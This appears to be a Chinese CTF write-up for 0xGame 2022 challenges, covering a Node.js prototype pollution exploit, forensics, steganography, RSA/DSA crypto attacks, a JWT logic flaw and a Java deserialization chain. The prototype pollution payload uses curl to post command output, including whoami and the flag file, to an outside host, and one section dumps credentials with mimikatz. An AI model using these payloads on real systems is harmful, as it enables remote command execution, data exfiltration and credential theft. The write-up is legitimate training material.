        for(key in Object.keys(user.__proto__)){
            delete user.__proto__[key];
        }
        try{
            merge(user,client)
        } catch(error) {
            res.send('error');
            return;
        }

        res.send('got it bro');
    }
    else{
        res.send('WTH is that?');
    }
})

app.get('/', (req, res) => {
    res.send('whats up bro');
})

app.get('/source', (req, res) => {
    res.download('app.js');
})

app.use(function(req, res, next) {
  res.status(404).send('404 not found');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Error');
});


const port = 3000;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

nodejs 原型链污染

参考文章 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

/gotit 路由里面有 var client = req.body;, 其实也就是通过 json 解析, 然后会将 client 中的键值对 merge 给 user

/time 路由将会执行 time 对象中的每一条命令

那么我们只需要通过 user.__proto__ 污染 Object, 这样遍历 time 对象的时候, 就会执行我们自定义的命令

因为没有回显, 所以这里用 curl 外带执行结果

payload 如下

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{
	"__proto__": {"cmd2": "curl http://x.x.x.x:65222/ -X POST -d \"`whoami`\""}
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151125296.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151125009.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151126909.png

查找 flag 路径

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find / -name flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151127760.png

最后查看 flag

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{
	"__proto__": {"cmd2": "curl http://x.x.x.x:65222/ -X POST -d \"`cat /usr/local/share/doc/node/flag`\""}
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151129324.png

1.pcapng 抓取的是 usb 流量

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151822011.png

参考文章 https://ctf-wiki.org/misc/traffic/protocols/usb/

参考工具 https://github.com/WangYihang/UsbKeyboardDataHacker

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151822942.png

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Part of the password is P@33w0rD_1

2.pcapng 直接打开找 http 协议即可

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151825999.png

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s_Here

综上, 压缩包密码如下

1
P@33w0rD_1s_Here

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151829672.png

password.txt

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pass
a@Yw
:*7o
sidr

根据题目搜到这几篇文章

https://www.cnblogs.com/zysgmzb/p/16334446.html

https://www.w3cjava.com/technical-articles/ctf/125035408.html#babydisk_224

提示是螺旋矩阵, 于是把 txt 里的内容顺时针转一下

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passwordis:a@Y7*

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161625400.png

hint 为 这个密码好怪,或许压缩包也一样?, 猜测压缩包也是用同样的方式螺旋读取

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161626297.png

flag.zip 长度为 289 字节, 在 factordb 里分解一下

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161627966.png

17 * 17, 刚好能凑成一个矩阵

先简单按每行 17 个 hex 提取压缩包内容

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17
50 4b 03 04 14 00 09 00 63 00 06 3f fa 54 f6 2d 14
a2 dd 14 09 87 ed 35 75 37 b7 e8 e4 f8 78 c8 0e 28
a9 3b f7 5c ff 50 4b 07 08 f6 2d 14 28 4a 00 e2 4a
0c 54 08 00 2f 00 00 00 00 00 00 00 20 00 00 09 00
4f 3e 00 5b 1e 82 a0 d8 01 2f c2 3c 65 00 00 39 00
d8 d4 00 8b 00 50 4b 05 06 00 00 00 82 00 2c 6f 00
49 0b 00 f1 08 00 00 00 00 00 00 00 a0 00 00 7e 2c
99 fe 2c 00 03 00 00 00 00 00 00 01 d8 00 00 25 00
bb a5 00 18 45 00 00 00 00 00 00 00 01 00 00 37 00
ed 9f 00 00 41 00 00 00 00 00 00 01 8c 00 50 64 00
5e 77 00 01 00 00 00 00 00 00 00 00 74 66 4b b2 08
18 22 4a 00 01 00 00 8b 00 00 00 65 3c 6c 01 40 00
01 1d 28 00 00 07 99 01 01 d8 a0 82 65 61 02 11 0b
3f 21 14 00 00 00 20 00 0a 74 78 74 2e 67 1f c8 00
10 2a 2d f6 54 fa 3f 06 00 63 00 09 00 14 00 1a 66
49 5d 97 70 40 2f 77 5a 28 fe c0 de 48 fa 44 31 6c
00 08 03 45 41 00 01 00 07 99 01 74 78 74 2e 67 61

然后在 hex editor 里手敲一遍

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161630291.png

最后输入密码解压缩, 打开 flag.txt

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161632948.png

参考文章 https://www.cnblogs.com/zysgmzb/p/15905869.html

imageinfo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161056296.png

选择 Win7SP1x64, 然后 pslist 看一下进程

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161057423.png

发现有 cmd.exe 和 notepad.exe

因为是 win7 用不了 notepad, 所以换成了 editbox

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161058937.png

可疑文本

1
St1gvdn13d2SGcKvxRq4vbGEKf66e1IX1ywid5epVjAHknLqo5UQj/1XkVGdsF2U

再用 cmdscan 收集信息

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161059540.png

提示 boot password, 于是 hashdump

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161100934.png

有两个用户 zysgmzb 和 zysgmzb1, 后者的 hash 解出来是 888999, 前者在线网站解不出来

拿着 888999 去解密那串文本, 试了 aes des 之类的对称加密都不行

然后想着这个是内存取证, 能不能通过转储 lsass.exe 配合 mimikatz 读明文?

不过本地 dump 出来之后用 mimikatz 读取一直提示错误…

网上搜了一下发现 volatility 有现成的 mimikatz 插件

https://l1near.top/index.php/2020/08/09/59.html

wsl 环境有点问题, 换成了 kali 虚拟机

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161106855.png

password 是 0xGame2022

拿着这个去解 aes

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161107431.png

题目名称提示是 ttl

参考文章 https://blog.csdn.net/l8947943/article/details/122723363

不过这题转成二进制后是前四个数字不一样

脚本如下

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import binascii

with open('123.txt', 'r') as f:
    content = f.read().split('\n')

data = ''

for i in content:
    b = '{0:b}'.format(int(i)).zfill(8)[:4]
    data += b

flag = ''
for i in range(0, len(data),8):
    flag += chr(int(data[i:i+8],2))

print(flag)

输出的内容看起来像 base64

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/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAIAAgADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD+1D9mm1lX4UfD8zTNdyXnh/Ttalu3un1J9Um1C4mvX8RS6jL4h8bya/PqzOb1/Gdz41+L974iec6pN+038ZZrpvHuv/RoJQXLdSfMXPzMZCjpFgkec0xB/d4Z9SZWIiEUUjDTpOU8BeH28P8Ah/SrCbe0lvDG9w80k00097cNcyz311cXd9qt1eahdTymW61bU9Z8Sa9qFw7z6p8QPGF9JPql51bKXjlOMmVpgQRktghMMCkhbH+q2yRz7QfINvECdJlANFTuO8c7l4w.....................................................................................

用在线网站转成图片

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161700886.png

把图片保存到本地, binwalk 和 stegsolve 没看出来什么…

在 ctf-wiki 找到了针对 jpg 隐写的检测工具 stegdetect

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161702737.png

检测是 jphide 隐写, 结果解密时需要密码, 密码用各种 topXXX.txt 跑一遍都不行…

最后问了下师傅, 提示我仔细看题目描述

大水怪zysgmzb又水了一道题,好水啊

三个水, 可能是盲水印?

https://github.com/ww23/BlindWatermark

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161705514.png

这里要用 -f 参数, 用 -c的话图片会乱码

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161706062.png

用在线美图秀秀拉一下对比度

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161706822.png

试出来 flag 为 0xGame{2ade442e-2b56-4794-9d58-cff8eb88b2bf}

文件开头和结尾有点意思

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161934622.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161936810.png

隐隐约约地在提示 0xGame 这个关键词

参考文章 https://cloud.tencent.com/developer/article/1916852

参考工具 https://github.com/raddyfiy/xortool-for-Windows

分析词频得到 key 大概率是 6 个字符, 然后指定长度和出现频率最高的字符 (二进制文件为 00)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161947414.png

这里其实也可以直接猜 key 为 0xGame, 附上 python2 脚本 ( python3 会有些奇怪的错误)

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from itertools import cycle

with open('flag','rb') as f:
    content = f.read()

key = cycle('0xGame')
data = ''
for i in content:
    data += chr(ord(i) ^ ord(next(key)))
with open('res','wb') as f:
    f.write(data)

解密出来的文件是压缩包

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161949009.png

解压后打开 flagishere.Q

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161958594.png

提示是按键精灵

安装之后导入脚本

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161958832.png

运行时打开记事本, 自动输入 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161959867.png

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from Crypto.Util.number import *
from random import getrandbits
from gmpy2 import iroot
from secret import flag

p = getPrime(1024)
q = getPrime(1024)
N = p * q
print(f'N = {N}')
phi = (p - 1) * (q - 1)
d = int(iroot(N, 4)[0]) ^ getrandbits(250)
e = inverse(d, phi)
print(f'e = {e}')
m = bytes_to_long(flag)
c = pow(m, e, N)
print(f'c = {c}')

'''
N = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
c = 5840501258024718864832142987890599173450298697953071330840633894213580157775134582366948009609464376347860855722853624706859551014578993970405414872475110788174945766031263741375838245446993873866074337521205610057099008802133355317057766130687125151837582629432432658067853766874748078066930025360520657828177656684371518932673114544966498967187329934293660732818645061628470501507505692848153374443370177624402249696242245782230674035636514120771392032684619892427019580836399492234567981411499400095809897517092318731307728822816363313767096033957040393013220969966377537175857321999311476688402271035503547204592
'''

题目描述提示是维纳攻击

参考工具 https://github.com/pablocelayes/rsa-wiener-attack

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import owiener

n = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
d = owiener.attack(e, n)
print(d)

结果如下

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10821819401995161131611357830544293750269646962655155883592763580969538386806972923386181717354230354003247519488019633726462455796190429625162908284468053

rsa 解密

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from Crypto.Util.number import long_to_bytes

n = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
d = 10821819401995161131611357830544293750269646962655155883592763580969538386806972923386181717354230354003247519488019633726462455796190429625162908284468053
c = 5840501258024718864832142987890599173450298697953071330840633894213580157775134582366948009609464376347860855722853624706859551014578993970405414872475110788174945766031263741375838245446993873866074337521205610057099008802133355317057766130687125151837582629432432658067853766874748078066930025360520657828177656684371518932673114544966498967187329934293660732818645061628470501507505692848153374443370177624402249696242245782230674035636514120771392032684619892427019580836399492234567981411499400095809897517092318731307728822816363313767096033957040393013220969966377537175857321999311476688402271035503547204592

m = pow(c, d, n)
print(long_to_bytes(m))

flag 为 0xGame{b0n3h_durf33_YYDS}

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from Crypto.Util.number import *
import random
from secret import flag

a = random.getrandbits(32)
b = random.getrandbits(32)


def circular_shift_left(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[k:] + bin_value[:k]
    int_value = int(bin_value, 2)
    return int_value


def enc_block(block):
    block = bytes_to_long(block)
    block ^= a
    block = circular_shift_left(block, 11)
    block ^= b
    return block


def enc_msg(msg):
    block_length = 4
    msg = msg + ((block_length - len(msg) % block_length) % block_length) * b'\x00'
    plain_block = [msg[block_length * i: block_length * (i + 1)] for i in range(len(msg) // block_length)]
    cipher = b""
    IV = bytes_to_long(b"0xgm")
    for block in plain_block:
        c = enc_block(block) ^ IV
        IV = c
        cipher += long_to_bytes(c)
    return cipher


print("a =", a)
print("b =", b)
print("cipher =", enc_msg(flag))

'''
a = 232825750
b = 1828860569
cipher = b'\x9a]\xec\x18\xd9\x98\x1d\x85\x0b}V\xf0\xc9\x98\x8d\x85"<\xf4\x02+\xa1m\xe7\xa0\xa6dJ\x8b\x93u?\x0b\x8d\xf62'
'''

块加密, 具体是啥不太清楚… 分组模式应该是 CBC, 因为有初始向量 IV

参考文章 https://ctf-wiki.org/crypto/blockcipher/mode/cbc/

根据上面的代码倒过来写解密函数就行了

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from Crypto.Util.number import *
import random

a = 232825750
b = 1828860569
cipher = b'\x9a]\xec\x18\xd9\x98\x1d\x85\x0b}V\xf0\xc9\x98\x8d\x85"<\xf4\x02+\xa1m\xe7\xa0\xa6dJ\x8b\x93u?\x0b\x8d\xf62'

def circular_shift_left(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[k:] + bin_value[:k]
    int_value = int(bin_value, 2)
    return int_value

def circular_shift_right(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[-k:] + bin_value[:-k]
    int_value = int(bin_value, 2)
    return int_value

def enc_block(block):
    block = bytes_to_long(block)
    block ^= a
    block = circular_shift_left(block, 11)
    block ^= b
    return block

def dec_block(block):
    block ^= b
    block = circular_shift_right(block, 11)
    block ^= a
    return long_to_bytes(block)

def dec_msg(cipher):
    block_length = 4
    enc_block = [cipher[block_length * i: block_length * (i + 1)] for i in range(len(cipher) // block_length)]
    msg = b''
    IV = bytes_to_long(b"0xgm")
    for block in enc_block:
        c = bytes_to_long(block)
        c ^= IV
        IV = bytes_to_long(block)
        m = dec_block(c)
        msg += m
    return msg

print(dec_msg(cipher))

flag 为 0xGame{n0w_y0u_kn0w_bl0ck|c1pher?}

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from Crypto.Util.number import *
import random
from secret import flag

n = 1
phi = 1
for i in range(20):
    tmp = getPrime(50)
    n *= tmp
m = bytes_to_long(flag)
e = random.getrandbits(32)
l = pow(3, pow(3, e), n)
c = l ^ m

print(e)
print(n)
print(c)
'''
e = 231259269673028
n = 29929378538095242599885557965311297229924523708488195903349782032363055913634371143193552305707368798772150932190898234995143081146304332830718576568862215833419088712212229994786373886002933885241338295986566059232256985357837569354103718470254246398122059607732272010616255443856829833332931407591
c = 14115545351007949046897492137862741044898077109960419446496565606468622772683580281638816799144770994249828910260693306203880085794955034747476060153997656323523503375955659777681988740544687254199590802537529515579620119333945661254265030658518256358717772703818654480106524239143719389868004689600
'''

其实就是简单的异或加密, 但这里 l 很大, 直接用 pow 算要跑很久很久

题目描述提示是欧拉定理, 网上找到一个类似的题目

https://github.com/pberba/ctf-solutions/blob/master/20190810-crytoctf/crypto-122-time-capsule/time-capsule-solution.ipynb

大意就是说先分解 n 找到一些质数, 然后计算 phi, 通过 phi 可以降幂计算 l, 加快了计算速度

首先是分解 n, factordb 只分出来两个… 于是换成了 yafu

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151848898.png

然后根据文章里的公式计算 l

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phi = reduce(lambda curr, p: curr*(p-1), factors, 1)

e = pow(3, e, phi)
l = pow(3, e, n)

最后将 l 与 c 异或, 得到明文 m

完整代码如下

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from Crypto.Util.number import *
from functools import reduce

e = 231259269673028
n = 29929378538095242599885557965311297229924523708488195903349782032363055913634371143193552305707368798772150932190898234995143081146304332830718576568862215833419088712212229994786373886002933885241338295986566059232256985357837569354103718470254246398122059607732272010616255443856829833332931407591
c = 14115545351007949046897492137862741044898077109960419446496565606468622772683580281638816799144770994249828910260693306203880085794955034747476060153997656323523503375955659777681988740544687254199590802537529515579620119333945661254265030658518256358717772703818654480106524239143719389868004689600

factors = [0] * 20

factors[0] = 1031597280836669
factors[1] = 585469394406137
factors[2] = 986358416636413
factors[3] = 627339010540087
factors[4] = 755979891579641
factors[5] = 1002598179716267
factors[6] = 564473023238051
factors[7] = 712230248080397
factors[8] = 729341978292667
factors[9] = 771609538687643
factors[10] = 1108754952183367
factors[11] = 1098486200089483
factors[12] = 724280506692727
factors[13] = 722283223420861
factors[14] = 995107014561889
factors[15] = 1121166222643673
factors[16] = 1106502088074143
factors[17] = 831763169751037
factors[18] = 1047241102139227
factors[19] = 681606630260771

phi = reduce(lambda curr, p: curr*(p-1), factors, 1)

e = pow(3, e, phi)
l = pow(3, e, n)
m = c ^ l
print(long_to_bytes(m))

flag 为 0xGame{Euler_1s_v3ry|useful!}'

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from Crypto.Util.number import *
from hashlib import *
from secret import secretkey, flag

assert flag == '0xGame{' + md5(str(secretkey).encode()).hexdigest() + '}'


class DigitalSignatureAlgorithm:
    def __init__(self):
        self.p = 11165563731567620813280603348108480503936143873639953843877402138097093301295650519258404426227037499368315956021156867415800042556171179986919811355886447
        self.q = 1427665647738374763020227949129429759446792665193
        self.g = 8385242253270806088154521306824584871033482078620830257754618478173828281256533554013845296082505886967783284208873604051466162625518031631615203713726934
        self.k = getRandomRange(1, self.q)

    def sign(self, m, x):
        z = bytes_to_long(sha256(m).digest())
        r = int(pow(self.g, self.k, self.p)) % self.q
        s = (int(inverse(self.k, self.q)) * (z + x * r)) % self.q
        return r, s


DSA = DigitalSignatureAlgorithm()
x = secretkey
y = pow(DSA.g, x, DSA.p)
print(y)

m0 = b'0xGame'
m1 = b'hack_fun'

r0, s0 = DSA.sign(m0, x)
r1, s1 = DSA.sign(m1, x)
print(r0, s0)
print(r1, s1)

'''
629561663141556350240195805457452624173044316397843833361377725186629298877124510669391999570948536274320600603150740845095742614597958058723489543231707
9569108440001628337054549116871993930089020799 1155391566683353144613828381835889947132557976718
9569108440001628337054549116871993930089020799 182166581822791423481695372664923137176789829383
'''

DSA 数字签名

参考文章

https://ctf-wiki.org/crypto/signature/dsa/

https://github.com/xalanq/jarvisoj-solutions/blob/master/crypto/DSA.md

不难发现代码里面对 m0 m1 的签名用的是同一个 k 值

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151851351.png

直接用文章里的脚本跑一下

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from Crypto.Util.number import bytes_to_long
from hashlib import *
import gmpy2

y = 629561663141556350240195805457452624173044316397843833361377725186629298877124510669391999570948536274320600603150740845095742614597958058723489543231707

r0 = 9569108440001628337054549116871993930089020799
s0 = 1155391566683353144613828381835889947132557976718
r1 = 9569108440001628337054549116871993930089020799
s1 = 182166581822791423481695372664923137176789829383

p = 11165563731567620813280603348108480503936143873639953843877402138097093301295650519258404426227037499368315956021156867415800042556171179986919811355886447
q = 1427665647738374763020227949129429759446792665193
g = 8385242253270806088154521306824584871033482078620830257754618478173828281256533554013845296082505886967783284208873604051466162625518031631615203713726934

m0 = bytes_to_long(sha256(b'0xGame').digest())

m1 = bytes_to_long(sha256(b'hack_fun').digest())

ds = s1 - s0
dm = m1 - m0
k = gmpy2.mul(dm, gmpy2.invert(ds, q))
k = gmpy2.f_mod(k, q)
tmp = gmpy2.mul(k, s0) - m0
x = tmp * gmpy2.invert(r0, q)
x = gmpy2.f_mod(x, q)
print('x =', x)

print('0xGame{' + md5(str(x).encode()).hexdigest() + '}')

flag 为 0xGame{0d49c454e403b622070f7257682fe8d6}

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const express = require("express");
const path = require("path");
const fs = require("fs");
const jwt = require("jsonwebtoken");
const cookieParser = require("cookie-parser");

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const port = 3000;
const flag = process.env.FLAG || "flag{fake_flag}";
const jwtKey = Math.random().toString();

class UserStore {
    constructor() {
        this.users = {};
        this.usernames = {};
    }

    insert(username, password) {
        const uid = Math.random().toString();
        this.users[uid] = {
            username,
            uid,
            password,
            profile: "个人简介",
            restricted: true,
        };
        this.usernames[username] = uid;
        return uid;
    }

    get(uid) {
        return this.users[uid] ?? {};
    }

    lookup(username) {
        return this.usernames[username];
    }

    remove(uid) {
        const user = this.get(uid);
        delete this.usernames[user.username];
        delete this.users[uid];
    }
}

const users = new UserStore();

app.use((req, res, next) => {
    try {
        res.locals.user = jwt.verify(req.cookies.token, jwtKey, {
            algorithms: ["HS256"],
        });
    } catch (err) {
        if (req.cookies.token) {
            res.clearCookie("token");
        }
    }
    next();
});

app.get("/", (req, res) => {
    res.send(`<html>
<body>欢迎使用</body>
<!--/source-->
</html>`);
});

app.post("/register", (req, res) => {
    if (
        !req.body.username ||
        !req.body.password ||
        req.body.username.length > 32 ||
        req.body.password.length > 32
    ) {
        res.send("非法用户名/密码");
        return;
    }
    if (users.lookup(req.body.username)) {
        res.send("该用户名已被占用");
        return;
    }
    const uid = users.insert(req.body.username, req.body.password);
    res.cookie("token", jwt.sign({ uid }, jwtKey, { algorithm: "HS256" }));
    res.send("注册成功");
});

app.post("/login", (req, res) => {
    const user = users.get(users.lookup(req.body.username));
    if (user && user.password === req.body.password) {
        res.cookie("token", jwt.sign({ uid: user.uid }, jwtKey, { algorithm: "HS256" }));
    } else {
        res.send("用户名/密码错误");
    }
});

app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.send("已成功删除该用户");
});

app.get("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.send(user.restricted ? user.profile : flag);
});

app.post("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    if (!req.body.profile || req.body.profile.length > 2000) {
        res.send("简介必须为1-2000个字内");
        return;
    }
    users.get(res.locals.user.uid).profile = req.body.profile;
    res.send("简介修改成功");
});

app.get("/source", (req, res) => {
   res.sendFile("/app/app.js");
});

app.listen(port, () => {
    console.log(`服务已启动`);
});

nodejs 的题, 题目实现了一个简单的管理用户的 api

登录和注册的过程存在 jwt, 所以一开始就想着往 jwt 的方向去找利用思路, 结果都失败了

后来觉得既然程序写了这几个路由, 应该都是有用的

于是看了下 /delete 路由

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app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.send("已成功删除该用户");
});

再看获取 flag 的路由

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app.get("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.send(user.restricted ? user.profile : flag);
});

这里很容易就能想出来一个思路: 在登陆状态下我们请求 /delete 删除用户, 这时候 user.restricted 就是 undefined (相当于 false), 那么 user.restricted ? user.profile : flag 的结果就会变成 flag

下面来试一下, 先注册用户

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241714243.png

只要带上 token 就已经是登录状态了, 然后去请求 /delete

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241717883.png

最后请求 /profile 得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241717638.png

java 题, 用的是 springboot

IndexController

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package BOOT-INF.classes.com.ctf.game.Controller;

import com.ctf.game.Controller.Tools;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@EnableAutoConfiguration
@RestController
public class IndexController {
  @GetMapping({"/"})
  public String hello() throws Exception {
    return "<h1>Come on!! help winmt find his girlfriend</h1>";
  }

  @RequestMapping({"/girlfriend"})
  public String starter(@RequestParam(name = "object", required = false) String object, Model model) throws Exception {
    if (object != null) {
      try {
        Tools.deserialize(Tools.base64Decode(object));
      } catch (Exception e) {
        return "<h1>ohhh No!! object of winmt is broken :(</h1>";
      }
    } else {
      return "<h1>No winmt want an object ~</h1>";
    }
    return "<h1>ohhh yes!! winmt found his object :)</h1>";
  }
}

Tools

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package BOOT-INF.classes.com.ctf.game.Controller;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

public class Tools implements Serializable {
  private static final long serialVersionUID = 362498820763181265L;
  
  private String girlfriend;
  
  public static byte[] base64Decode(String base64) {
    Base64.Decoder decoder = Base64.getDecoder();
    return decoder.decode(base64);
  }

  public static String base64Encode(byte[] bytes) {
    Base64.Encoder encoder = Base64.getEncoder();
    return encoder.encodeToString(bytes);
  }

  public static byte[] serialize(Object obj) throws Exception {
    ByteArrayOutputStream btout = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(btout);
    objOut.writeObject(obj);
    return btout.toByteArray();
  }

  public static Object deserialize(byte[] serialized) throws Exception {
    ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    ObjectInputStream objIn = new ObjectInputStream(btin);
    Object o = objIn.readObject();
    return o;
  }

  public boolean equals(Object obj) {
    return girlfriendofwinmt(obj);
  }

  public boolean girlfriendofwinmt(Object obj) {
    if (obj instanceof String)
      try {
        Runtime.getRuntime().exec(this.girlfriend);
        return true;
      } catch (Exception e) {
        e.printStackTrace();
        return false;
      }
    return false;
  }
}

pom.xml 里只有 springboot 的相关依赖, 就不贴了

题目已经给了反序列化的入口点 (readObject), 并且 Tools 类中存在 equals 和 girlfriendofwinmt 这两个可疑方法

猜测思路就是利用反序列化通过 equals 最终调用到 girlfriendofwinmt 中来执行命令

然后既然没用到其它的第三方依赖, 所以应该就是原生类的反序列化, 要在 jdk 中找利用链

去网上搜了下用到 equals 方法的相关文章, 找到了 cc7 和 jdk7u21 这两条链子, 根据 hint 的 "Aa".hashCode()=="BB".hashCode() 来看应该考察的是 cc7 里面的某些步骤

参考文章 https://tttang.com/archive/1337/#toc_0x07-commonscollections7

部分 gadget

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Gadget chain:
    Hashtable.readObject
        Hashtable.reconstitutionPut
            AbstractMapDecorator.equals
                AbstractMap.equals

为什么要找 Hashtable HashMap 这些呢, 因为是哈希表要保证 key 甚至 value 唯一, 必然会涉及到 equals 方法的调用

先跟着文章里原来的 payload 跟一下

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package com.ctf.game.Controller;

import com.ctf.game.Serialization;

